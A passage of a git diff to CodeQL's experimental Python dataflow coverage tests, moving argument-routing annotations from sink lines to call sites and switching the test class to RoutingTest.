SINK6(f) #$ MISSING: arg6="arg6, l:89 -> f" + SINK1(a) + SINK2(b) + SINK3(c) + SINK4(d) + SINK5(e) + SINK6(f) try: - SINK7(g["g"]) #$ arg7="arg7, l:89 -> g['g']" + SINK7(g["g"]) except: print("OK") @expects(7) def test_argument_passing1(): - argument_passing(arg1, *(arg2, arg3, arg4), e=arg5, **{"f": arg6, "g": arg7}) + argument_passing(arg1, *(arg2, arg3, arg4), e=arg5, **{"f": arg6, "g": arg7}) #$ arg1="arg1" arg7="arg7" func=argument_passing MISSING: arg2="arg2" arg3="arg3 arg4="arg4" arg5="arg5" arg6="arg6" @expects(7) def test_argument_passing2(): - argument_passing(arg1, arg2, arg3, f=arg6) + argument_passing(arg1, arg2, arg3, f=arg6) #$ arg1="arg1" arg2="arg2" arg3="arg3" func=argument_passing def with_pos_only(a, /, b): - SINK1(a) #$ arg1="arg1, l:104 -> a" arg1="arg1, l:105 -> a" arg1="arg1, l:106 -> a" - SINK2(b) #$ arg2="arg2, l:104 -> b" arg2="arg2, l:105 -> b" MISSING: arg2="arg2, l:106 -> b" + SINK1(a) + SINK2(b) @expects(6) def test_pos_only(): - with_pos_only(arg1, arg2) - with_pos_only(arg1, b=arg2) - with_pos_only(arg1, *(arg2,)) + with_pos_only(arg1, arg2) #$ arg1="arg1" arg2="arg2" func=with_pos_only + with_pos_only(arg1, b=arg2) #$ arg1="arg1" arg2="arg2" func=with_pos_only + with_pos_only(arg1, *(arg2,)) #$ arg1="arg1" func=with_pos_only MISSING: arg2="arg2" def with_multiple_kw_args(a, b, c): - SINK1(a) #$ arg1="arg1, l:117 -> a" arg1="arg1, l:118 -> a" arg1="arg1, l:119 -> a" arg1="arg1, l:120 -> a" - SINK2(b) #$ arg2="arg2, l:117 -> b" arg2="arg2, l:120 -> b" MISSING: arg2="arg2, l:118 -> b" arg2="arg2, l:119 -> b" - SINK3(c) #$ arg3="arg3, l:117 -> c" arg3="arg3, l:119 -> c" arg3="arg3, l:120 -> c" MISSING: arg3="arg3, l:118 -> c" + SINK1(a) + SINK2(b) + SINK3(c) @expects(9) def test_multiple_kw_args(): - with_multiple_kw_args(b=arg2, c=arg3, a=arg1) - with_multiple_kw_args(arg1, *(arg2,), arg3) - with_multiple_kw_args(arg1, **{"c": arg3}, b=arg2) - with_multiple_kw_args(**{"b": arg2}, **{"c": arg3}, **{"a": arg1}) + with_multiple_kw_args(b=arg2, c=arg3, a=arg1) #$ arg1="arg1" arg2="arg2" arg3="arg3" func=with_multiple_kw_args + with_multiple_kw_args(arg1, *(arg2,), arg3) #$ arg1="arg1" func=with_multiple_kw_args MISSING: arg2="arg2" arg3="arg3" + with_multiple_kw_args(arg1, **{"c": arg3}, b=arg2) #$ arg1="arg1" arg3="arg3" func=with_multiple_kw_args MISSING: arg2="arg2" + with_multiple_kw_args(**{"b": arg2}, **{"c": arg3}, **{"a": arg1}) #$ arg1="arg1" arg2="arg2" arg3="arg3" func=with_multiple_kw_args -def with_default_arguments(a=arg1, b=arg2, c=arg3): - SINK1(a) #$ arg1="arg1, l:132 -> a" MISSING:arg1="arg1, l:123 -> a" - SINK2(b) #$ arg2="arg2, l:133 -> b" MISSING: arg2="arg2, l:123 -> b" - SINK3(c) #$ arg3="arg3, l:134 -> c" MISSING: arg3="arg3, l:123 -> c" +def with_default_arguments(a=arg1, b=arg2, c=arg3): # Need a mechanism to test default arguments + SINK1(a) + SINK2(b) + SINK3(c) @expects(12) def test_default_arguments(): with_default_arguments() - with_default_arguments(arg1) - with_default_arguments(b=arg2) - with_default_arguments(**{"c": arg3}) + with_default_arguments(arg1) #$ arg1="arg1" func=with_default_arguments + with_default_arguments(b=arg2) #$ arg2="arg2" func=with_default_arguments + with_default_arguments(**{"c": arg3}) #$ arg3="arg3" func=with_default_arguments # Nested constructor pattern def grab_foo_bar_baz(foo, **kwargs): - SINK1(foo) #$ arg1="arg1, l:160 -> foo" + SINK1(foo) grab_bar_baz(**kwargs) # It is not possible to pass `bar` into `kwargs`, # since `bar` is a valid keyword argument. def grab_bar_baz(bar, **kwargs): - SINK2(bar) #$ arg2="arg2, l:160 -> bar" + SINK2(bar) try: SINK2_F(kwargs["bar"]) except: @@ -152,60 +152,60 @@ def grab_bar_baz(bar, **kwargs): def grab_baz(baz): - SINK3(baz) #$ arg3="arg3, l:160 -> baz" + SINK3(baz) @expects(4) def test_grab(): - grab_foo_bar_baz(baz=arg3, bar=arg2, foo=arg1) + grab_foo_bar_baz(baz=arg3, bar=arg2, foo=arg1) #$ arg1="arg1" arg2="arg2" arg3="arg3" func=grab_foo_bar_baz func=grab_bar_baz func=grab_baz # All combinations def test_pos_pos(): def with_pos(a): - SINK1(a) #$ arg1="arg1, l:168 -> a" + SINK1(a) - with_pos(arg1) + with_pos(arg1) #$ arg1="arg1" func=test_pos_pos.with_pos def test_pos_pos_only(): def with_pos_only(a, /): - SINK1(a) #$ arg1="arg1, l:175 -> a" + SINK1(a) - with_pos_only(arg1) + with_pos_only(arg1) #$ arg1="arg1" func=test_pos_pos_only.with_pos_only def test_pos_star(): def with_star(*a): if len(a) > 0: - SINK1(a[0]) #$ arg1="arg1, l:183 -> a[0]" + SINK1(a[0]) - with_star(arg1) + with_star(arg1) #$ arg1="arg1" func=test_pos_star.with_star def test_pos_kw(): def with_kw(a=""): - SINK1(a) #$ arg1="arg1, l:190 -> a" + SINK1(a) - with_kw(arg1) + with_kw(arg1) #$ arg1="arg1" func=test_pos_kw.with_kw def test_kw_pos(): def with_pos(a): - SINK1(a) #$ arg1="arg1, l:197 -> a" + SINK1(a) - with_pos(a=arg1) + with_pos(a=arg1) #$ arg1="arg1" func=test_kw_pos.with_pos def test_kw_kw(): def with_kw(a=""): - SINK1(a) #$ arg1="arg1, l:204 -> a" + SINK1(a) - with_kw(a=arg1) + with_kw(a=arg1) #$ arg1="arg1" func=test_kw_kw.with_kw def test_kw_doublestar(): def with_doublestar(**a): - SINK1(a["a"]) #$ arg1="arg1, l:211 -> a['a']" + SINK1(a["a"]) - with_doublestar(a=arg1) + with_doublestar(a=arg1) #$ arg1="arg1" func=test_kw_doublestar.with_doublestar diff --git a/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.ql b/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.ql index 8a2b9cf9235..51963055f56 100644 --- a/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.ql +++ b/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.ql @@ -1,9 +1,9 @@ import python import semmle.python.dataflow.new.DataFlow private import semmle.python.dataflow.new.internal.DataFlowPrivate as DataFlowPrivate -import experimental.dataflow.TestUtil.FlowTest +import experimental.dataflow.TestUtil.RoutingTest -class Argument1RoutingTest extends FlowTest { +class Argument1RoutingTest extends RoutingTest { Argument1RoutingTest() { this = "Argument1RoutingTest" } override string flowTag() { result = "arg1" } @@ -46,7 +46,7 @@ class Argument1RoutingConfig extends DataFlow::Configuration { override predicate isBarrierIn(DataFlow::Node node) { isSource(node) } } -class Argument2RoutingTest extends FlowTest { +class Argument2RoutingTest extends RoutingTest { Argument2RoutingTest() { this = "Argument2RoutingTest" } override string flowTag() { result = "arg2" } @@ -82,7 +82,7 @@ class Argument2RoutingConfig extends DataFlow::Configuration { override predicate isBarrierIn(DataFlow::Node node) { isSource(node) } } -class Argument3RoutingTest extends FlowTest { +class Argument3RoutingTest extends RoutingTest { Argument3RoutingTest() { this = "Argument3RoutingTest" } override string flowTag() { result = "arg3" } @@ -118,7 +118,7 @@ class Argument3RoutingConfig extends DataFlow::Configuration { override predicate isBarrierIn(DataFlow::Node node) { isSource(node) } } -class Argument4RoutingTest extends FlowTest { +class Argument4RoutingTest extends RoutingTest { Argument4RoutingTest() { this = "Argument4RoutingTest" } override string flowTag() { result = "arg4" } @@ -154,7 +154,7 @@ class Argument4RoutingConfig extends DataFlow::Configuration { override predicate isBarrierIn(DataFlow::Node node) { isSource(node) } } -class Argument5RoutingTest extends FlowTest { +class Argument5RoutingTest extends RoutingTest { Argument5RoutingTest() { this = "Argument5RoutingTest" } override string flowTag() { result = "arg5" } @@ -190,7 +190,7 @@ class Argument5RoutingConfig extends DataFlow::Configuration { override predicate isBarrierIn(DataFlow::Node node) { isSource(node) } } -class Argument6RoutingTest extends FlowTest { +class Argument6RoutingTest extends RoutingTest { Argument6RoutingTest() { this = "Argument6RoutingTest" } override string flowTag() { result = "arg6" } @@ -226,7 +226,7 @@ class Argument6RoutingConfig extends DataFlow::Configuration { override predicate isBarrierIn(DataFlow::Node node) { isSource(node) } } -class Argument7RoutingTest extends FlowTest { +class Argument7RoutingTest extends RoutingTest { Argument7RoutingTest() { this = "Argument7RoutingTest" } override string flowTag() { result = "arg7" } diff --git a/python/ql/test/experimental/dataflow/coverage/classes.py b/python/ql/test/experimental/dataflow/coverage/classes.py index fd8a45bc609..654297d3145 100644 --- a/python/ql/test/experimental/dataflow/coverage/classes.py +++ b/python/ql/test/experimental/dataflow/coverage/classes.py @@ -38,9 +38,9 @@ def OK(): # object.__new__(cls[, ...]) -class With_new: +class With_new: #$ MISSING: arg1="With_new" func=With_new.__new__ def __new__(cls): - SINK1(cls) #$ MISSING: arg1="With_new, l:41 -> cls" + SINK1(cls) OK() # Call not found return super().__new__(cls) @@ -52,221 +52,221 @@ def test_new(): # object.__init__(self[, ...]) class With_init: def __init__(self): - SINK1(self) #$ MISSING: arg1="with_init, l:60 -> self" + SINK1(self) OK() def test_init(): - with_init = With_init() + with_init = With_init() #$ MISSING: arg1="SSA variable with_init" func=With_init.__init__ # object.__del__(self) class With_del: def __del__(self): - SINK1(self) #$ MISSING: arg1="with_del, l:71 -> self" + SINK1(self) OK() # Call not found def test_del(): - with_del = With_del() + with_del = With_del() #$ MISSING: arg1="SSA variable with_del" func=With_del.__del__ del with_del # object.__repr__(self) class With_repr: def __repr__(self): - SINK1(self) #$ MISSING: arg1="with_repr, l:84 -> self" + SINK1(self) OK() # Call not found return "With_repr()" def test_repr(): - with_repr = With_repr() + with_repr = With_repr() #$ MISSING: arg1="SSA variable with_repr" func=With_repr.__repr__ repr(with_repr) # object.__str__(self) class With_str: def __str__(self): - SINK1(self) #$ MISSING: arg1="with_str, l:97 -> self" + SINK1(self) OK() # Call not found return "Awesome" def test_str(): - with_str = With_str() + with_str = With_str() #$ MISSING: arg1="SSA variable with_str" func=With_str.__str__ str(with_str) # object.__bytes__(self) class With_bytes: def __bytes__(self): - SINK1(self) #$ MISSING: arg1="with_bytes, l:110 -> self" + SINK1(self) OK() # Call not found return b"Awesome" def test_bytes(): - with_bytes = With_bytes() + with_bytes = With_bytes() #$ MISSING: arg1="SSA variable with_bytes" func=With_bytes.__bytes__ bytes(with_bytes) # object.__format__(self, format_spec) class With_format: def __format__(self, format_spec): - SINK2(format_spec) #$ MISSING: arg2="arg2, l:125 -> format_spec" - SINK1(self) #$ MISSING: arg1="with_format, l:124 -> self" + SINK2(format_spec) + SINK1(self) OK() # Call not found return "Awesome" def test_format(): - with_format = With_format() - arg2 = "" + with_format = With_format() #$ MISSING: arg1="SSA variable with_format" func=With_format.__format__ + arg2 = "" #$ MISSING: arg2="arg2" func=With_format.__format__ format(with_format, arg2) def test_format_str(): - with_format = With_format() + with_format = With_format() #$ MISSING: arg1="SSA variable with_format" func=With_format.__format__ "{0}".format(with_format) def test_format_fstr(): - with_format = With_format() + with_format = With_format() #$ MISSING: arg1="SSA variable with_format" func=With_format.__format__ f"{with_format}" # object.__lt__(self, other) class With_lt: def __lt__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:150 -> other" - SINK1(self) #$ MISSING: arg1="with_lt, l:149 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return "" def test_lt(): - with_lt = With_lt() - arg2 = with_lt + with_lt = With_lt() #$ MISSING: arg1="SSA variable with_lt" func=With_lt.__lt__ + arg2 = with_lt #$ MISSING: arg2="arg2" func=With_lt.__lt__ with_lt < arg2 # object.__le__(self, other) class With_le: def __le__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:165 -> other" - SINK1(self) #$ MISSING: arg1="with_le, l:164 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return "" def test_le(): - with_le = With_le() - arg2 = with_le + with_le = With_le() #$ MISSING: arg1="SSA variable with_le" func=With_le.__le__ + arg2 = with_le #$ MISSING: arg2="arg2" func=With_le.__le__ with_le <= arg2 # object.__eq__(self, other) class With_eq: def __eq__(self, other): - SINK2(other) #$ MISSING: arg2="with_eq, l:180 -> other" - SINK1(self) #$ MISSING: arg1="with_eq, l:179 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return "" def test_eq(): - with_eq = With_eq() - with_eq == with_eq + with_eq = With_eq() #$ MISSING: arg1="SSA variable with_eq" func=With_eq.__eq__ + with_eq == with_eq #$ MISSING: arg2="with_eq" func=With_eq.__eq__ # object.__ne__(self, other) class With_ne: def __ne__(self, other): - SINK2(other) #$ MISSING: arg2="with_ne, l:194 -> other" - SINK1(self) #$ MISSING: arg1="with_ne, l:193 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return "" def test_ne(): - with_ne = With_ne() - with_ne != with_ne + with_ne = With_ne() #$ MISSING: arg1="SSA variable with_ne" func=With_ne.__ne__ + with_ne != with_ne #$ MISSING: arg2="with_ne" func=With_ne.__ne__ # object.__gt__(self, other) class With_gt: def __gt__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:208 -> other" - SINK1(self) #$ MISSING: arg1="with_gt, l:207 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return "" def test_gt(): - with_gt = With_gt() - arg2 = with_gt + with_gt = With_gt() #$ MISSING: arg1="SSA variable with_gt" func=With_gt.__gt__ + arg2 = with_gt #$ MISSING: arg2="arg2" func=With_gt.__gt__ with_gt > arg2 # object.__ge__(self, other) class With_ge: def __ge__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:223 -> other" - SINK1(self) #$ MISSING: arg1="with_ge, l:222 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return "" def test_ge(): - with_ge = With_ge() - arg2 = with_ge + with_ge = With_ge() #$ MISSING: arg1="SSA variable with_ge" func=With_ge.__ge__ + arg2 = with_ge #$ MISSING: arg2="arg2" func=With_ge.__ge__ with_ge >= arg2 # object.__hash__(self) class With_hash: def __hash__(self): - SINK1(self) #$ MISSING: arg1="with_hash, l:236 -> self" arg1="with_hash, l:241 -> self" arg1="with_hash, l:246 -> self" arg1="with_hash, l:251 -> self" + SINK1(self) OK() # Call not found return 0 def test_hash(): - with_hash = With_hash() + with_hash = With_hash() #$ MISSING: arg1="SSA variable with_hash" func=With_hash.__hash__ hash(with_hash) def test_hash_set(): - with_hash = With_hash() + with_hash = With_hash() #$ MISSING: arg1="SSA variable with_hash" func=With_hash.__hash__ len(set([with_hash])) def test_hash_frozenset(): - with_hash = With_hash() + with_hash = With_hash() #$ MISSING: arg1="SSA variable with_hash" func=With_hash.__hash__ len(frozenset([with_hash])) def test_hash_dict(): - with_hash = With_hash() + with_hash = With_hash() #$ MISSING: arg1="SSA variable with_hash" func=With_hash.__hash__ len(dict({with_hash: 0})) # object.__bool__(self) class With_bool: def __bool__(self): - SINK1(self) #$ MISSING: arg1="with_bool, l:264 -> self" arg1="with_bool, l:269 -> self" + SINK1(self) OK() # Call not found return True def test_bool(): - with_bool = With_bool() + with_bool = With_bool() #$ MISSING: arg1="SSA variable with_bool" func=With_bool.__bool__ bool(with_bool) def test_bool_if(): - with_bool = With_bool() + with_bool = With_bool() #$ MISSING: arg1="SSA variable with_bool" func=With_bool.__bool__ if with_bool: pass @@ -275,69 +275,69 @@ def test_bool_if(): # object.__getattr__(self, name) class With_getattr: def __getattr__(self, name): - SINK2(name) #$ MISSING: arg2="with_getattr.arg2, l:286 -> name" - SINK1(self) #$ MISSING: arg1="with_getattr, l:285 -> self" + SINK2(name) + SINK1(self) OK() # Call not found return "" def test_getattr(): - with_getattr = With_getattr() - with_getattr.arg2 + with_getattr = With_getattr() #$ MISSING: arg1="SSA variable with_getattr" func=With_getattr.__getattr__ + with_getattr.arg2 #$ MISSING: arg2="with_getattr.arg2" func=With_getattr.__getattr__ # object.__getattribute__(self, name) class With_getattribute: def __getattribute__(self, name): - SINK2(name) #$ MISSING: arg2="arg2, l:300 -> name" - SINK1(self) #$ MISSING: arg1="with_getattribute, l:299 -> self" + SINK2(name) + SINK1(self) OK() # Call not found return "" def test_getattribute(): - with_getattribute = With_getattribute() - with_getattribute.arg2 + with_getattribute = With_getattribute() #$ MISSING: arg1="SSA variable with_getattribute" func=With_getattribute.__getattribute__ + with_getattribute.arg2 #$ MISSING: arg2="arg2" func=With_getattribute.__getattribute__ # object.__setattr__(self, name, value) class With_setattr: def __setattr__(self, name, value): - SINK3(value) #$ MISSING: arg3="arg3, l:314 -> value" - SINK2(name) #$ MISSING: arg2="arg2, l:315 -> name" - SINK1(self) #$ MISSING: arg1="with_setattr, l:313 -> self" + SINK3(value) + SINK2(name) + SINK1(self) OK() # Call not found def test_setattr(): - with_setattr = With_setattr() - arg3 = "" - with_setattr.arg2 = arg3 + with_setattr = With_setattr() #$ MISSING: arg1="SSA variable with_setattr" func=With_setattr.__setattr__ + arg3 = "" #$ MISSING: arg3="arg3" func=With_setattr.__setattr__ + with_setattr.arg2 = arg3 #$ MISSING: arg2="arg2" func=With_setattr.__setattr__ # object.__delattr__(self, name) class With_delattr: def __delattr__(self, name): - SINK2(name) #$ MISSING: arg2="arg2, l:328 -> name" - SINK1(self) #$ MISSING: arg1="with_delattr, l:327 -> self" + SINK2(name) + SINK1(self) OK() # Call not found def test_delattr(): - with_delattr = With_delattr() - del with_delattr.arg2 + with_delattr = With_delattr() #$ MISSING: arg1="SSA variable with_delattr" func=With_delattr.__delattr__ + del with_delattr.arg2 #$ MISSING: arg2="arg2" func=With_delattr.__delattr__ # object.__dir__(self) class With_dir: def __dir__(self): - SINK1(self) #$ MISSING: arg1="with_dir, l:340 -> self" + SINK1(self) OK() # Call not found return [] def test_dir(): - with_dir = With_dir() + with_dir = With_dir() #$ MISSING: arg1="SSA variable with_dir" func=With_dir.__dir__ dir(with_dir) @@ -350,8 +350,8 @@ class Owner: class With_get: def __get__(self, instance, owner=None): SINK3(owner) # Flow not testsed, use class `Owner` as source to test - SINK2(instance) #$ MISSING: arg2="arg2, l:365 -> instance" - SINK1(self) #$ MISSING: arg1="with_get, l:363 -> self" + SINK2(instance) + SINK1(self) OK() # Call not found return "" @@ -360,56 +360,56 @@ def test_get(): class arg3: pass - with_get = With_get() + with_get = With_get() #$ MISSING: arg1="SSA variable with_get" func=With_get.__get__ arg3.attr = with_get - arg2 = arg3() + arg2 = arg3() #$ MISSING: arg2="arg2" func=With_get.__get__ arg2.attr # object.__set__(self, instance, value) class With_set: def __set__(self, instance, value): - SINK3(value) #$ MISSING: arg3="arg3, l:382 -> value" - SINK2(instance) #$ MISSING: arg2="arg2, l:381 -> instance" - SINK1(self) #$ MISSING: arg1="with_set, l:379 -> self" + SINK3(value) + SINK2(instance) + SINK1(self) OK() # Call not found def test_set(): - with_set = With_set() + with_set = With_set() #$ MISSING: arg1="SSA variable with_set" func=With_set.__set__ Owner.attr = with_set - arg2 = Owner() - arg3 = "" + arg2 = Owner() #$ MISSING: arg2="arg2" func=With_set.__set__ + arg3 = "" #$ MISSING: arg3="arg3" func=With_set.__set__ arg2.attr = arg3 # object.__delete__(self, instance) class With_delete: def __delete__(self, instance): - SINK2(instance) #$ MISSING: arg2="arg2, l:397 -> instance" - SINK1(self) #$ MISSING: arg1="with_delete, l:395 -> self" + SINK2(instance) + SINK1(self) OK() # Call not found def test_delete(): - with_delete = With_delete() + with_delete = With_delete() #$ MISSING: arg1="SSA variable with_delete" func=With_delete.__delete__ Owner.attr = with_delete - arg2 = Owner() + arg2 = Owner() #$ MISSING: arg2="arg2" func=With_delete.__delete__ del arg2.attr # object.__set_name__(self, owner, name) class With_set_name: def __set_name__(self, owner, name): - SINK3(name) #$ MISSING: arg3="arg3, l:412 -> name" - SINK2(owner) #$ MISSING: arg2="arg2, l:412 -> owner" - SINK1(self) #$ MISSING: arg1="with_set_name, l:411 -> self" + SINK3(name) + SINK2(owner) + SINK1(self) OK() # Call not found def test_set_name(): - with_set_name = With_set_name() - type("arg2", (object,), dict(arg3=with_set_name)) + with_set_name = With_set_name() #$ MISSING: arg1="SSA variable with_set_name" func=With_set_name.__set_name__ + type("arg2", (object,), dict(arg3=with_set_name)) #$ MISSING: arg2="arg2" arg3="arg3" func=With_set_name.__set_name__ # 3.3.2.4. __slots__ // We are not testing the suppression of __weakref__ and __dict__ here @@ -455,45 +455,45 @@ def test_prepare(): # class.__instancecheck__(self, instance) class With_instancecheck: def __instancecheck__(self, instance): - SINK2(instance) #$ MISSING: arg2="arg2, l:466 -> instance" - SINK1(self) #$ MISSING: arg1="with_instancecheck, l:465 -> self" + SINK2(instance) + SINK1(self) OK() # Call not found return True def test_instancecheck(): - with_instancecheck = With_instancecheck() - arg2 = "" + with_instancecheck = With_instancecheck() #$ MISSING: arg1="SSA variable with_instancecheck" func=With_instancecheck.__instancecheck__ + arg2 = "" #$ MISSING: arg2="arg2" func=With_instancecheck.__instancecheck__ isinstance(arg2, with_instancecheck) # class.__subclasscheck__(self, subclass) class With_subclasscheck: def __subclasscheck__(self, subclass): - SINK2(subclass) #$ MISSING: arg2="arg2, l:481 -> subclass" - SINK1(self) #$ MISSING: arg1="with_subclasscheck, l:480 -> self" + SINK2(subclass) + SINK1(self) OK() # Call not found return True def test_subclasscheck(): - with_subclasscheck = With_subclasscheck() - arg2 = object + with_subclasscheck = With_subclasscheck() #$ MISSING: arg1="SSA variable with_subclasscheck" func=With_subclasscheck.__subclasscheck__ + arg2 = object #$ MISSING: arg2="arg2" func=With_subclasscheck.__subclasscheck__ issubclass(arg2, with_subclasscheck) # 3.3.5. Emulating generic types # classmethod object.__class_getitem__(cls, key) -class With_class_getitem: +class With_class_getitem: #$ MISSING: arg1="With_class_getitem" func=With_class_getitem.__class_getitem__ def __class_getitem__(cls, key): - SINK2(key) #$ MISSING: arg2="arg2, l:496 -> key" - SINK1(cls) #$ MISSING: arg1="With_class_getitem, l:487 -> cls" + SINK2(key) + SINK1(cls) OK() # Call not found return object def test_class_getitem(): - arg2 = int + arg2 = int #$ MISSING: arg2="arg2" func=With_class_getitem.__class_getitem__ with_class_getitem = With_class_getitem[arg2]() @@ -501,12 +501,12 @@ def test_class_getitem(): # object.__call__(self[, args...]) class With_call: def __call__(self): - SINK1(self) #$ MISSING: arg1="with_call, l:509 -> self" + SINK1(self) OK() # Call not found def test_call(): - with_call = With_call() + with_call = With_call() #$ MISSING: arg1="SSA variable with_call" func=With_call.__call__ with_call() @@ -514,23 +514,23 @@ def test_call(): # object.__len__(self) class With_len: def __len__(self): - SINK1(self) #$ MISSING: arg1="with_len, l:523 -> self" arg1="with_len, l:528 -> self" arg1="with_len, l:533 -> self" + SINK1(self) OK() # Call not found return 0 def test_len(): - with_len = With_len() + with_len = With_len() #$ MISSING: arg1="SSA variable with_len" func=With_len.__len__ len(with_len) def test_len_bool(): - with_len = With_len() + with_len = With_len() #$ MISSING: arg1="SSA variable with_len" func=With_len.__len__ bool(with_len) def test_len_if(): - with_len = With_len() + with_len = With_len() #$ MISSING: arg1="SSA variable with_len" func=With_len.__len__ if with_len: pass @@ -538,7 +538,7 @@ def test_len_if(): # object.__length_hint__(self) class With_length_hint: def __length_hint__(self): - SINK1(self) #$ MISSING: arg1="with_length_hint, l:549 -> self" + SINK1(self) OK() # Call not found return 0 @@ -546,108 +546,108 @@ class With_length_hint: def test_length_hint(): import operator - with_length_hint = With_length_hint() + with_length_hint = With_length_hint() #$ MISSING: arg1="SSA variable with_length_hint" func=With_length_hint.__length_hint__ operator.length_hint(with_length_hint) # object.__getitem__(self, key) class With_getitem: def __getitem__(self, key): - SINK2(key) #$ arg2="arg2, l:565 -> key" - SINK1(self) #$ arg1="SSA variable with_getitem, l:563 -> self" + SINK2(key) + SINK1(self) OK() return "" def test_getitem(): - with_getitem = With_getitem() + with_getitem = With_getitem() #$ arg1="SSA variable with_getitem" func=With_getitem.__getitem__ arg2 = 0 - with_getitem[arg2] + with_getitem[arg2] #$ arg2="arg2" func=With_getitem.__getitem__ # object.__setitem__(self, key, value) class With_setitem: def __setitem__(self, key, value): - SINK3(value) #$ arg3="arg3, l:581 -> value" - SINK2(key) #$ arg2="arg2, l:581 -> key" - SINK1(self) #$ arg1="SSA variable with_setitem, l:578 -> self" + SINK3(value) + SINK2(key) + SINK1(self) OK() def test_setitem(): - with_setitem = With_setitem() + with_setitem = With_setitem() #$ arg1="SSA variable with_setitem" func=With_setitem.__setitem__ arg2 = 0 arg3 = "" - with_setitem[arg2] = arg3 + with_setitem[arg2] = arg3 #$ arg2="arg2" arg3="arg3" func=With_setitem.__setitem__ # object.__delitem__(self, key) class With_delitem: def __delitem__(self, key): - SINK2(key) #$ arg2="arg2, l:595 -> key" - SINK1(self) #$ arg1="SSA variable with_delitem, l:593 -> self" + SINK2(key) + SINK1(self) OK() def test_delitem(): - with_delitem = With_delitem() + with_delitem = With_delitem() #$ arg1="SSA variable with_delitem" func=With_delitem.__delitem__ arg2 = 0 - del with_delitem[arg2] + del with_delitem[arg2] #$ arg2="arg2" func=With_delitem.__delitem__ # object.__missing__(self, key) class With_missing(dict): def __missing__(self, key): - SINK2(key) #$ MISSING: arg2="arg2, l:609 -> key" - SINK1(self) #$ MISSING: arg1="with_missing, l:608 -> self" + SINK2(key) + SINK1(self) OK() # Call not found return "" def test_missing(): - with_missing = With_missing() - arg2 = 0 + with_missing = With_missing() #$ MISSING: arg1="SSA variable with_missing" func=With_missing.__missing__ + arg2 = 0 #$ MISSING: arg2="arg2" func=With_missing.__missing__ with_missing[arg2] # object.__iter__(self) class With_iter: def __iter__(self): - SINK1(self) #$ MISSING: arg1="with_iter, l:622 -> self" + SINK1(self) OK() # Call not found return [].__iter__() def test_iter(): - with_iter = With_iter() + with_iter = With_iter() #$ MISSING: arg1="SSA variable with_iter" func=With_iter.__iter__ [x for x in with_iter] # object.__reversed__(self) class With_reversed: def __reversed__(self): - SINK1(self) #$ MISSING: arg1="with_reversed, l:635 -> self" + SINK1(self) OK() # Call not found return [].__iter__ def test_reversed(): - with_reversed = With_reversed() + with_reversed = With_reversed() #$ MISSING: arg1="SSA variable with_reversed" func=With_reversed.__reversed__ reversed(with_reversed) # object.__contains__(self, item) class With_contains: def __contains__(self, item): - SINK2(item) #$ MISSING: arg2="arg2, l:650 -> item" - SINK1(self) #$ MISSING: arg1="with_contains, l:649 -> self" + SINK2(item) + SINK1(self) OK() # Call not found return True def test_contains(): - with_contains = With_contains() - arg2 = 0 + with_contains = With_contains() #$ MISSING: arg1="SSA variable with_contains" func=With_contains.__contains__ + arg2 = 0 #$ MISSING: arg2="arg2" func=With_contains.__contains__ arg2 in with_contains @@ -655,725 +655,725 @@ def test_contains(): # object.__add__(self, other) class With_add: def __add__(self, other): - SINK2(other) #$ arg2="arg2, l:667 -> other" - SINK1(self) #$ arg1="SSA variable with_add, l:665 -> self" + SINK2(other) + SINK1(self) OK() return self def test_add(): - with_add = With_add() + with_add = With_add() #$ arg1="SSA variable with_add" func=With_add.__add__ arg2 = with_add - with_add + arg2 + with_add + arg2 #$ arg2="arg2" func=With_add.__add__ # object.__sub__(self, other) class With_sub: def __sub__(self, other): - SINK2(other) #$ arg2="arg2, l:682 -> other" - SINK1(self) #$ arg1="SSA variable with_sub, l:680 -> self" + SINK2(other) + SINK1(self) OK() return self def test_sub(): - with_sub = With_sub() + with_sub = With_sub() #$ arg1="SSA variable with_sub" func=With_sub.__sub__ arg2 = with_sub - with_sub - arg2 + with_sub - arg2 #$ arg2="arg2" func=With_sub.__sub__ # object.__mul__(self, other) class With_mul: def __mul__(self, other): - SINK2(other) #$ arg2="arg2, l:697 -> other" - SINK1(self) #$ arg1="SSA variable with_mul, l:695 -> self" + SINK2(other) + SINK1(self) OK() return self def test_mul(): - with_mul = With_mul() + with_mul = With_mul() #$ arg1="SSA variable with_mul" func=With_mul.__mul__ arg2 = with_mul - with_mul * arg2 + with_mul * arg2 #$ arg2="arg2" func=With_mul.__mul__ # object.__matmul__(self, other) class With_matmul: def __matmul__(self, other): - SINK2(other) #$ arg2="arg2, l:712 -> other" - SINK1(self) #$ arg1="SSA variable with_matmul, l:710 -> self" + SINK2(other) + SINK1(self) OK() return self def test_matmul(): - with_matmul = With_matmul() + with_matmul = With_matmul() #$ arg1="SSA variable with_matmul" func=With_matmul.__matmul__ arg2 = with_matmul - with_matmul @ arg2 + with_matmul @ arg2 #$ arg2="arg2" func=With_matmul.__matmul__ # object.__truediv__(self, other) class With_truediv: def __truediv__(self, other): - SINK2(other) #$ arg2="arg2, l:727 -> other" - SINK1(self) #$ arg1="SSA variable with_truediv, l:725 -> self" + SINK2(other) + SINK1(self) OK() return self def test_truediv(): - with_truediv = With_truediv() + with_truediv = With_truediv() #$ arg1="SSA variable with_truediv" func=With_truediv.__truediv__ arg2 = with_truediv - with_truediv / arg2 + with_truediv / arg2 #$ arg2="arg2" func=With_truediv.__truediv__ # object.__floordiv__(self, other) class With_floordiv: def __floordiv__(self, other): - SINK2(other) #$ arg2="arg2, l:742 -> other" - SINK1(self) #$ arg1="SSA variable with_floordiv, l:740 -> self" + SINK2(other) + SINK1(self) OK() return self def test_floordiv(): - with_floordiv = With_floordiv() + with_floordiv = With_floordiv() #$ arg1="SSA variable with_floordiv" func=With_floordiv.__floordiv__ arg2 = with_floordiv - with_floordiv // arg2 + with_floordiv // arg2 #$ arg2="arg2" func=With_floordiv.__floordiv__ # object.__mod__(self, other) class With_mod: def __mod__(self, other): - 